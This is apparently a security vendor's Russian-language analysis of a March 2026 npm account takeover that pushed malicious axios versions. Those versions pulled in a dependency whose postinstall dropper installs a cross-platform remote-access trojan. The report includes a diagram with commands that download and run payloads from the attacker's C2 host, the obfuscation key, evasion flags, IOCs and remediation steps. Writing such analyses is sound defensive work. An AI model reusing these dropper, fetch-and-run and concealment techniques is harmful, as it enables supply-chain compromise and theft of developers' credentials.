- Как была развернута атака: компрометация аккаунта npm
- Обзор атаки
- Троянизированный пакет: plain-crypto-js v4.2.0 против v4.2.1
- Дроппер: три платформы, один скрипт
- Второй этап для macOS: полноценный троян удаленного доступа
- Полная цепочка атаки
- Оценка влияния и рисков
- Хронология событий
- Индикаторы компрометации
- Обнаружение
- План восстановления
- Выводы
30–31 марта 2026 года злоумышленники опубликовали в реестре npm две вредоносные версии популярной HTTP-библиотеки axios: 1.14.1 и 0.30.4. Обе версии содержали новую зависимость под названием plain-crypto-js. В релизе 4.2.1 эта зависимость содержала полнофункциональный кроссплатформенный дроппер. Он незаметно устанавливал троян удаленного доступа (Remote Access Trojan, RAT) на машины разработчиков. С тех пор эти пакеты были удалены, а 31 марта команда axios добавила workflow, чтобы официально обозначить их в реестре как скомпрометированные. Любой разработчик, выполнивший npm install для уязвимых версий в период, когда они были доступны, должен считать, что устройство скомпрометировано. Эту кампанию отслеживают как MSC-2026-3522.
Axios имеет более 50 миллионов еженедельных загрузок. Даже кратковременная доступность пакета такого масштаба представляет серьезный риск для цепочки поставок. Это особенно опасно из-за того, что ноутбуки разработчиков обычно содержат SSH-ключи, облачные учетные данные, API-токены и доступ к системам продакшна.
Как была развернута атака: компрометация аккаунта npm
Версии 1.14.1 и 0.30.4 нигде не существуют в GitHub-репозитории axios. Нет ни git-тегов, ни коммитов, ни ветвей релизов, соответствующих этим номерам версий. Новейшим действующим тегом релиза является v1.14.0. Он был опубликован 27 марта 2026 года.
Это значит, что атака не предполагала компрометацию GitHub. Злоумышленник получил учетные данные для аккаунта npm одного из мейнтейнеров. После этого он использовал npm CLI для публикации пакетов. Весь процесс релиза на базе git в данном случае не употреблялся. Для разработчиков, проводящих аудит зависимостей путем проверки репозитория GitHub, эти версии выглядели бы такими, которые невозможно найти.
Еще одним индикатором компрометации аккаунта стало изменение email-адреса npm, связанного с аккаунтом мейнтейнера axios. Ее изменили на ifstap@proton.me примерно в то же время, когда был опубликован вредоносный пакет. Это согласуется со сценарием, при котором злоумышленник после получения доступа обновляет данные для восстановления аккаунта. Цель такого шага – заблокировать легитимного владельца.
Участник сообщества ashishkurmi 31 марта создал issue #10604. В нем было отмечено, что связанные issue, в которых сообщалось о компрометации, удалялись вскоре после создания. Это свидетельствует о том, что злоумышленник мог сохранять доступ к аккаунту в течение периода инцидента.
Команда axios быстро отреагировала. 31 марта мейнтейнер DigitalBrainJS объединил PR #10591. К нему был добавлен workflow GitHub Actions deprecate.yml. Он позволяет мейнтейнерам вручную запускать npm deprecate для указанной версии. Это обозначает пакеты как устаревшие в реестре и предупреждает разработчиков, пытающихся установить их.
name: Deprecate compromised axios version
on:
workflow_dispatch:
inputs:
version:
description: "Version of axios to deprecate (e.g. 1.14.1)"
required: true
default: "1.14.1"
jobs:
deprecate:
runs-on: ubuntu-latest
permissions:
contents: read
steps:
- name: Setup Node.js
uses: actions/setup-node@v4
with:
node-version: 20
registry-url: https://registry.npmjs.org
Обзор атаки
Атака начинается с package.json пакета axios. Обе вредоносные версии 1.14.1 и 0.30.4 были опубликованы с указанием plain-crypto-js@4.2.1 как новой зависимости. Любой разработчик, запускавший npm install axios@1.14.1, автоматически подтягивал эту зависимость. Без дополнительных действий npm незаметно определяет и устанавливает полное дерево зависимостей.
Именно в plain-crypto-js@4.2.1 содержится вредоносный код. Пакет содержит хук postinstall, срабатывающий в момент, когда npm завершает установку пакета. Далее цепь выполняется в три этапа:
- хук postinstall запускает setup.js – сильно обфусцированный дроппер JavaScript, встроенный в plain-crypto-js;
- дроппер определяет операционную систему, связывается с сервером C2 (command-and-control) и загружает вредоносный компонент второго этапа для соответствующей платформы.
- в macOS скомпилированный Mach-O RAT записывается в /Library/Caches/com.apple.act.mond. После этого он начинает сигнализировать злоумышленнику каждые 60 секунд. Для Windows и Linux есть эквивалентные пути второго этапа.
После завершения работы дроппер стирает сам себя. Далее он заменяет собственный package.json пакета на заранее подготовленную чистую копию без хука postinstall. Исследование установленного пакета постфактум не обнаруживает ничего подозрительного.
Троянизированный пакет: plain-crypto-js v4.2.0 против v4.2.1
Версия 4.2.0 пакета plain-crypto-js является чистой, хотя и неавторизованной, переупаковкой хорошо известной библиотеки crypto-js. Она содержит 53 файла, все они являются стандартными криптографическими примитивами. В пакете нет сетевых вызовов или хуков install.
В версии 4.2.1 было добавлено ровно три файла.
| Файл | Роль |
| package.json | Изменено: добавлено “postinstall”: “node setup.js” |
| setup.js | Новый: дроппер (сильно обфусцированный, ~3 КБ) |
| package.md | Новый: чистая копия package.json без записи postinstall, которая используется для очистки после выполнения |
Добавление package.md является показательной деталью. Его единственное предназначение – перезаписать package.json после запуска дроппера. Таким образом, хук postinstall удаляется из установленного пакета. Инженер, который проводил бы аудит зависимостей после компрометации, увидел бы чистый пакет. В нем не было бы хуков и setup.js.
Дроппер: три платформы, один скрипт
setup.js – это один минимизированный, сильно обфусцированный файл JavaScript. Он запускается при установке и обрабатывает macOS, Windows и Linux. Для каждой из платформ предусмотрен отдельный путь выполнения.
Обфускация
Каждое чувствительное значение в скрипте скрыто внутри массива из 18 закодированных строк. Это относится к названиям модулей, путям к файлам, идентификаторам ОС, содержимому скрипта и URL C2. Ни одно из этих значений не читается в исходном коде. Чтобы их восстановить, каждый элемент разворачивается в обратном порядке. Затем для него восстанавливается base64 padding. Далее он декодируется из base64. После этого он пропускается через кастомный XOR шифр с ключом “OrDeR_7077” и дополнительной константой 333. Результат выглядит как мусор в канале передачи, однако во время выполнения он корректно декодируется в читабельные строки.
Декодирование всех 18 элементов раскрывает полную картину. Оно показывает три модуля Node.js, необходимые дропперу: fs, os и child_process. Также оно раскрывает базовую URL C2: http://sfrclak.com:8000/. Кроме этого, становятся видимыми идентификаторы платформ для каждой ОС, полное содержание скриптов, что сбрасываются на каждую платформу, а также команда выполнения для каждого из них. Также раскрываются два названия файлов, используемых при очистке после выполнения: package.json и package.md.
Что делает дроппер
При выполнении дроппер сначала определяет операционную систему. Затем он формирует полный URL C2. Для этого к базовому URL добавляется жестко закодированный ID кампании 6202033. В результате получается http://sfrclak.com:8000/6202033. Далее дроппер переходит разными путями в зависимости от платформы.
В macOS он записывает файл AppleScript в /tmp/6202033. Этот скрипт обращается в C2 с POST-запросом, в теле которого содержится packages.npm.org/product0. Это значение призвано выглядеть как легитимный трафик реестра npm. Затем скрипт сохраняет ответ в двоичном виде непосредственно в /Library/Caches/com.apple.act.mond. После этого он делает этот двоичный файл исполняемым. Затем запускает его через zsh в фоновом режиме и удаляет скрипт-загрузчик. Родительский дроппер запускает этот AppleScript в отключенном режиме через nohup osascript, поэтому процесс установки сразу возвращается без ожидания завершения.
В Windows дроппер сначала находит двоичный файл PowerShell с помощью where powershell. Затем он копирует его в %PROGRAMDATA%\wt.exe. Название wt.exe имеет двоичный файл Windows Terminal, он выбран для маскировки в списке файлов файловой системы. Далее дроппер записывает файл VBScript во временный каталог. Этот файл с помощью WScript.Shell запускает скрытое окно cmd.exe. Это окно через curl обращается к C2 через скрипт PowerShell. Тело POST-запроса выглядит как packages.npm.org/product1. Полученный скрипт сохраняется как .ps1. После этого он запускается с помощью скопированного двоичного файла PowerShell с параметрами –w hidden –ep bypass. Это подавляет любое видимое окно и обходит политику выполнения. После запуска PS1 оба временных файла удаляются.
В Linux путь является наиболее прямым. Одна команда shell загружает скрипт Python из C2. Тело POST-запроса выглядит как packages.npm.org/product2, скрипт сохраняется до /tmp/ld.py. Затем он запускается через python3 под nohup. Таким образом, исполнение отделяется от процесса установки.
Самоуничтожение и сокрытие
После запуска полезной нагрузки для соответствующей платформы дроппер последовательно выполняет три шага очистки. Сначала он удаляет сам себя, то есть setup.js. Затем удаляет текущий package.json, содержащий хук postinstall. После этого он переименовывает package.md в package.json. package.md – это чистая копия package.json, встроенная в пакет. В результате каталог установленного пакета не содержит следа дроппера. В нем также нет хука postinstall и неожиданных файлов. Любой аудит пакета после установки выглядит вполне обычным.
ID кампании 6202033 является единственным значением, жестко закодированным вне пределов обфусцированного массива. Базовая часть URL C2 закодирована. Это значит, что будущие кампании могут повторно использовать ту же инфраструктуру дроппера. Для этого достаточно опубликовать новую версию с другим закодированным URL. Сам двоичный файл RAT при этом вообще не нужно изменять.
Второй этап для macOS: полноценный троян удаленного доступа
Полезная нагрузка, выдаваемая на macOS, представляет собой скомпилированный двоичный файл Mach-O x86_64. Он записывается в /Library/Caches/com.apple.act.mond. Этот путь выбран так, чтобы он напоминал название подлинного фонового процесса Apple. Двоичный файл не подписан действительным сертификатом, однако дроппер обходит это ограничение. Для этого он выполняет codesign –force –deep –sign – и применяет ad-hoc-подпись перед исполнением. Это удовлетворяет базовое требование подписания без действительной идентичности разработчика.
SHA256: 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a
Двоичный файл использует libcurl для коммуникации с C2 и nlohmann JSON для работы со структурированными данными. URL C2 не является жестко закодированным. Он передается как argv[1] загрузчиком AppleScript от дроппера. Такой дизайн значит, что тот же скомпилированный двоичный файл можно повторно развернуть в будущих кампаниях. Для этого достаточно направить его на другую инфраструктуру, просто сменив дроппер.
Начальный сигнал (initial beacon)
Во время первого выполнения RAT собирает подробный системный отпечаток и посылает его в C2 с помощью POST как объект JSON, закодированный в Base64.
{
"hostname": "macbook-pro.local",
"username": "jdoe",
"version": "14.4.1",
"timezone": "-5",
"installTimeString": "2023-09-15 09:22:11",
"currentTimeString": "2025-03-21 14:07:33",
"bootTimeString": "2025-03-20 08:11:02",
"cpuType": "mac_x64",
"modelName": "Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz",
"processList": "user pid command\njdoe 1234 /usr/bin/python3 ...",
"FirstInfo": "{ /Applications, ~/Library, ~/Application Support ... }"
}
installTimeString считывается из /var/db/.AppleSetupDone, файла, который записывает дату первой настройки macOS. В сочетании с полным списком процессов и деревом каталогов этот исходный сигнал дает оператору полное представление о цели: какое программное обеспечение установлено, что запущено, какие учетные данные и файлы конфигурации вероятно присутствуют.
Вся HTTP-связь использует строку User-Agent mozilla/4.0 (совместимая; msie 8.0; windows nt 5.1; trident/4.0), которая идентифицируется как Internet Explorer 8 в Windows XP. Это аномалия для любого процесса macOS и обнаруживается в журналах HTTP-прокси.
Протокол команд и управление
После исходного сигнала RAT опрашивает сервер C2 каждые 60 секунд по запросу GET, ожидая команд. Оператор может выдавать четыре типа команд:
peinjectполучает полезную нагрузку, закодированную в Base64, записывает её в случайно названный скрытый файл в /private/tmp/, применяет chmod 755, подписывает его ad-hoc с помощью codesign –force –deep –sign – и выполняет его с дополнительными параметрами. Это самая рискованная функция: она позволяет оператору запускать любую произвольную программу на машине пользователя в любое время.
runscriptвыполняет произвольные команды. Если поле Script пусто, поле Param передается непосредственно в /bin/sh. Если Script заполнен, контент, декодированный Base64, записывается во временный файл .scpt и выполняется через /usr/bin/osascript. Последний позволяет взаимодействие с графическим интерфейсом, доступ к хранилищу паролей и ключей на основе AppleScript и атаки подмены диалогов.
rundirзапускает глубокое перечисление файловой системы, собирая имена файлов, размеры, отметки времени создания и модификации, а также структуру каталогов.
killзавершает процесс RAT.
main() [0x100007A60]
GenerateUID() → random 16-char victim ID
GetOS() → macOS version string
InitDirInfo() → enumerate /Applications, ~/Library, ~/Application Support
Report() → POST initial beacon to C2
loop every 60s:
DoWork() → GET C2 for pending command
peinject → DoActionIjt() [0x100002ECE]
runscript → DoActionScpt() [0x1000042FE]
rundir → InitDirInfo() [0x1000070EF]
kill → exit
Полная цепочка атаки
Developer runs: npm install axios@1.14.1 (or 0.30.4)
Attacker published via compromised npm maintainer account
(No corresponding git tags in the axios GitHub repo)
axios@1.14.1
└── plain-crypto-js@4.2.1
└── postinstall: node setup.js
│
├── [macOS]
│ AppleScript → curl POST packages.npm.org/product0
│ → /Library/Caches/com.apple.act.mond (chmod 770)
│ → nohup zsh "...act.mond http://sfrclak.com:8000/6202033"
│
├── [Windows]
│ copy powershell.exe → %PROGRAMDATA%\wt.exe
│ VBS → curl POST packages.npm.org/product1 → .ps1
│ → wt.exe -w hidden -ep bypass -file .ps1
│
└── [Linux]
curl POST packages.npm.org/product2 → /tmp/ld.py
→ nohup python3 /tmp/ld.py [C2 URL]
setup.js self-destructs:
unlink(setup.js)
unlink(package.json) ← removes postinstall hook
rename(package.md → package.json) ← package looks clean
RAT beacons every 60s to http://sfrclak.com:8000/6202033
→ operator can push binaries, run shell commands, enumerate files
Оценка влияния и рисков
Компьютеры разработчиков являются ценными целями. Обычно они содержат закрытые ключи SSH, учетные данные поставщиков облачных услуг (AWS, GCP, Azure), токены публикации npm и PyPI, файлы .env для промежуточных и производственных сред, строки подключения к базе данных и сертификаты VPN. RAT с произвольным исполнением команд и внедрением бинарных файлов на рабочей станции разработчика предоставляет злоумышленнику постоянный плацдарм, позволяющий разветвлять атаку и в производственную инфраструктуру.
60-секундный цикл опроса и возможность внедрения peinject означают, что злоумышленник может со временем изменять свой вектор атаки. Например, сначала могло быть запущено infostealer, а уже через несколько дней он может запустить новый бинарный файл с разными возможностями.
Конвейеры CI/CD являются дополнительным беспокойством. Многие организации запускают npm install в автоматизированных средах сборки. Если бы пораженные версии axios были установлены во время окна сборки, дроппер работал бы в контексте CI/CD, имея доступ к любым секретам и разрешениям, которые имеет эта среда.
Отсутствие тегов git для вредоносных версий также означает, что инструменты сканирования зависимостей, сравнивающие npm-пакеты с репозиториями исходного кода, возможно, не обнаружили ничего необычного. По всем проверкам метаданных пакеты выглядели действительными релизами axios.
Хронология событий
| Дата/время (UTC) | Событие |
| 07.03.2026 | axios v1.14.0 официально опубликовано в npm с соответствующим тегом git |
| 30-31.03.2026 | Злоумышленник публикует axios v1.14.1 и v0.30.4 через скомпрометированную учетную запись npm. E-mail адрес разработчика npm изменен на ifstap@proton.me. Теги git не созданы. plain-crypto-js v4.2.1 включен как зависимость |
| 31.03.2026, 01:38 UTC | Разработчик Axios объединяет PR #10591, добавляя рабочий процесс deprecate.yml |
| 31.03.2026, 03:00 UTC | Выпуск файлов сообщества №10604, в которых публично сообщается о компрометации |
| 31.03.2026 и продолжается | C2 по адресу sfrclak.com:8000 переходит в режим офлайн. Продолжается удаление вредоносных версий |
Индикаторы компрометации
Сеть
| Индикатор | Значение |
| C2 domain | sfrclak.com |
| C2 IP | 142.11.206.73 |
| C2 Port | 8000 |
| C2 URL | http://sfrclak.com:8000/6202033 |
| User-Agent | mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0) |
| macOS POST body | packages.npm.org/product0 |
| Windows POST body | packages.npm.org/product1 |
| Linux POST body | packages.npm.org/product2 |
Файлы системы
| Индикатор | ОС | Примечания |
/Library/Caches/com.apple.act.mond | macOS | Бинарный файл RAT |
/tmp/6202033 | macOS | Загрузчик AppleScript удален после использования |
/private/tmp/.XXXXXX | macOS | Введены бинарные файлы из команд peinject |
%PROGRAMDATA%\wt.exe | Windows | Клонированный бинарный файл PowerShell |
%TEMP%\6202033.vbs | Windows | VBS-wrapper, удаленная после использования |
%TEMP%\6202033.ps1 | Windows | Полезная нагрузка PS1, удаленная после использования |
/tmp/ld.py | Linux | Полезная нагрузка Python stage 2 |
Хеши файлов (macOS RAT)
| Алгоритм | Хеш |
| SHA256 | 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a |
| SHA1 | 13ab317c5dcab9af2d1bdb22118b9f09f8a4038e |
| MD5 | 7a9ddef00f69477b96252ca234fcbeeb |
Процесс и поведение
- codesign –force –deep –sign – вызывается для бинарного файла в /private/tmp/
- ps -eo user,pid,command выполняется неинтерактивным процессом
- osascript с файлом .scpt в /tmp/
- nohup запуск файла в /Library/Caches/ на macOS
- PowerShell вызывается из -w hidden -ep bypass из родительского процесса, не являющегося оболочкой
- Исходящий HTTP POST на порт 8000, напоминающий пути реестра npm
Обнаружение
Аудит npm
Проверить, зависит ли проект от plain-crypto-js в любой версии, и были ли установлены соответствующие версии axios:
npm ls plain-crypto-js
cat package-lock.json | grep -A3 "plain-crypto-js"
# Check if either malicious version is in your lock file
grep -E '"axios".*"(1\.14\.1|0\.30\.4)"' package-lock.json
Обнаружение сети
Блокировать или уведомлять о исходящих соединениях к sfrclak.com и 142.11.206.73:8000 на уровне фаервола и DNS. В журналах прокси-сервера выводить уведомления о User-Agent mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0) с любого хоста, не работающего под управлением Windows, или с любого хоста, который посылает POST-зпросы к порту 8000.
План восстановления
Если вы установили axios 1.14.1 или 0.30.4:
- Рассматривайте машину как скомпрометированную. Не используйте ее для доступа к конфиденциальным учетным данным или производственным системам, пока она не будет imaged или rebuilt.
- Измените все аккаунты, к которым был доступ на машине: ключи SSH, ключи облачного провайдера, токены npm, секреты .env, ключи API, пароли баз данных.
- Проверьте наличие артефактов хранения, перечисленных в таблице выше. Наличие /Library/Caches/com.apple.act.mond на macOS или %PROGRAMDATA%\wt.exe на Windows подтверждает выполнение второго этапа.
- Просмотрите журналы CI/CD за время. Если конвейер запускал npm install с этими версиями, измените все секреты, используемые в этой среде.
- Проверьте файл package-lock.json на наличие ссылок на plain-crypto-js. Если он присутствует, пакет был запущен, и возможно запустили хук postinstall.
Выводы
Эта атака демонстрирует, насколько эффективна компрометация аккаунта npm как начальный вектор доступа. Вредоносный код не нуждался в доступе к GitHub, запросах на снятие данных или обходе проверки кода. Одних украденных учетных данных npm было достаточно для публикации вредоносных пакетов под надежным именем с 50 миллионами загрузок еженедельно.
Второй этап macOS написан профессионально: скомпилированный бинарный файл C++ со структурированной связью C2, четырьмя отдельными возможностями оператора, включая произвольный ввод бинарных файлов, и архитектура, разработанная для повторного использования инфраструктуры. Этапы Windows и Linux остаются неподтвержденными, ожидается дополнительная информация.
Для организаций, желающих системно контролировать риски open source-зависимостей и вредоносных пакетов, уместным дополнением может стать Mend.io.







